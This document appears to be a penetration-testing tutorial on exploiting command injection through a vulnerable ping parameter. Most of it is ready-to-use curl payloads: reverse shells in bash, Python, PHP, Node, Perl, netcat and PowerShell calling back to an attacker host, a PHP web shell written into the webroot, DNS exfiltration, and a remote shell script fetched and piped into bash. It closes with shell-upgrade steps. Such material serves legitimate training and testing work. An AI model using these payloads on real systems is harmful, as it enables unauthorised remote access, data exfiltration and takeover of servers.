Skip to content

Command Injection Exploitation

7 min read Created Sep 13, 2026 Last updated Sep 13, 2026

Command injection exploitation turns a confirmed injection point into interactive access on the target. Start with command injection detection to confirm the vulnerability exists, then use the techniques below to move from confirmed execution to a reverse shell. If input filters block your payloads, see command injection bypasses for filter evasion techniques. The approach depends on whether you see command output in the response (inline injection) or not (blind injection), and whether the target has outbound network connectivity.

Confirming Execution

Before deploying a reverse shell, confirm that commands actually execute. If the application returns command output in the response, inject id or whoami and verify the result. For blind injection where no output is visible, use time-based confirmation or out-of-band callbacks.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;sleep+5"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1%26+ping+-n+5+127.0.0.1"

If the response takes approximately 5 seconds longer than normal, the sleep or ping command executed. For out-of-band confirmation, use curl or wget to call back to your listener. This confirms execution and also verifies outbound connectivity for reverse shell delivery.

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8888
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;curl+http://$LHOST:8888/confirm"

A hit on your HTTP server for /confirm proves execution and outbound HTTP connectivity. If DNS is the only outbound channel, use a DNS callback instead: nslookup confirm.$LHOST or host confirm.$LHOST and watch for the resolution on your DNS server or a tool like interactsh.

Choosing a Reverse Shell

Match the reverse shell to interpreters available on the target. Check what exists by injecting which bash python3 python php perl nc ncat node through the injection point (if inline output is available) or by testing each shell one at a time until a connection arrives. Start your listener before sending the payload.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
listening on [any] 4444 ...

Bash is the most common reverse shell on Linux targets. Available on virtually every Linux system.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;bash+-i+>%26+/dev/tcp/$LHOST/$LPORT+0>%261"

Python works on targets with Python installed. Common on Linux servers and many web application containers.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;python3+-c+'import+socket,subprocess,os;s=socket.socket();s.connect((\"$LHOST\",$LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

PHP is available on targets running PHP-based applications. Use php -r for inline execution.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;php+-r+'\$sock=fsockopen(\"$LHOST\",$LPORT);exec(\"/bin/sh+-i+<&3+>&3+2>&3\");'"

Node.js is specifically covered in WEB-200 and common on targets running Express, Next.js, or other Node-based applications.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;node+-e+'require(\"child_process\").exec(\"bash+-i+>%26+/dev/tcp/$LHOST/$LPORT+0>%261\")'"

Perl is present on many legacy Linux systems and some embedded devices.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;perl+-e+'use+Socket;\$i=\"$LHOST\";\$p=$LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in(\$p,inet_aton(\$i)));open(STDIN,\">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec(\"/bin/sh+-i\");'"

Netcat with -e flag works on systems with the traditional netcat build. The OpenBSD variant on modern systems does not support -e, so use a named pipe alternative instead.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;nc+$LHOST+$LPORT+-e+/bin/sh"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+$LHOST+$LPORT+>/tmp/f"

PowerShell for Windows targets. URL-encode the payload when injecting through HTTP parameters.

┌──(kali㉿kali)-[~]
└─$ PAYLOAD="\$client = New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()"
┌──(kali㉿kali)-[~]
└─$ echo -n "$PAYLOAD" | iconv -t UTF-16LE | base64 -w 0

No Outbound TCP

When the target has no outbound TCP connectivity (egress filtering, firewall rules), reverse shells fail. Alternative approaches depend on what outbound channels are available.

Stage through HTTP: If the injection point's response reflects command output, use the injection itself as your data channel. Run commands one at a time and read results from the response. If you can write files to the webroot, stage a web shell through the injection and interact through HTTP requests instead of a TCP shell.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;echo+'<?php+system(\$_GET["cmd"]);?>'+>+/var/www/html/cmd.php"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

DNS exfiltration: When only DNS is allowed outbound, encode command output in DNS queries. Each query carries a limited payload, so this is slow but works when all other channels are blocked.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;nslookup+\$(whoami).$LHOST"

Watch your DNS server or interactsh listener for the resolution. The subdomain contains the command output. For multi-line output, base64 encode and split across multiple queries. If curl or wget is available on the target but TCP reverse shells are blocked, download a script from your HTTP server and execute it. This also works for staging larger payloads when the injection character limit is tight.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;curl+http://$LHOST:8888/shell.sh|bash"

Blind Command Injection to Interactive

When no output is reflected in the response and outbound connectivity exists, skip the enumeration phase and send a reverse shell directly. If you are unsure which interpreters exist, try each shell one-liner in sequence until a connection arrives on your listener.

When you have blind injection but no outbound connectivity, use the time-based boolean technique to extract information character by character. Compare each character of the command output against a known value using conditional sleep.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;if+[+\$(whoami|cut+-c1)+%3d+'w'+];then+sleep+5;fi"

A 5-second delay means the first character of the username is w. Increment the cut -c position to extract subsequent characters. This is tedious manually but scriptable. Another option for blind injection: write command output to a file in the webroot and read it through HTTP.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping?host=127.0.0.1;id+>+/var/www/html/output.txt"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/output.txt"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Upgrading Shells

Raw reverse shells lack tab completion, history, and proper terminal handling. Ctrl+C kills the shell instead of the running process. Upgrade to a fully interactive PTY to fix this. The standard Python PTY upgrade works on any target with Python installed.

┌──(kali㉿kali)-[~]
└─$ python3 -c 'import pty;pty.spawn("/bin/bash")'

After spawning the PTY, background the shell with Ctrl+Z, configure your local terminal, then foreground the shell.

┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg

Then set the terminal type and dimensions on the target shell.

┌──(kali㉿kali)-[~]
└─$ export TERM=xterm
┌──(kali㉿kali)-[~]
└─$ stty rows 40 cols 160

This gives you a fully interactive shell with tab completion, arrow keys, and Ctrl+C working as expected. If Python is not available, try script /dev/null -c bash as an alternative PTY spawn. For a more advanced approach, socat provides encrypted and fully interactive reverse shells when installed on both ends.

References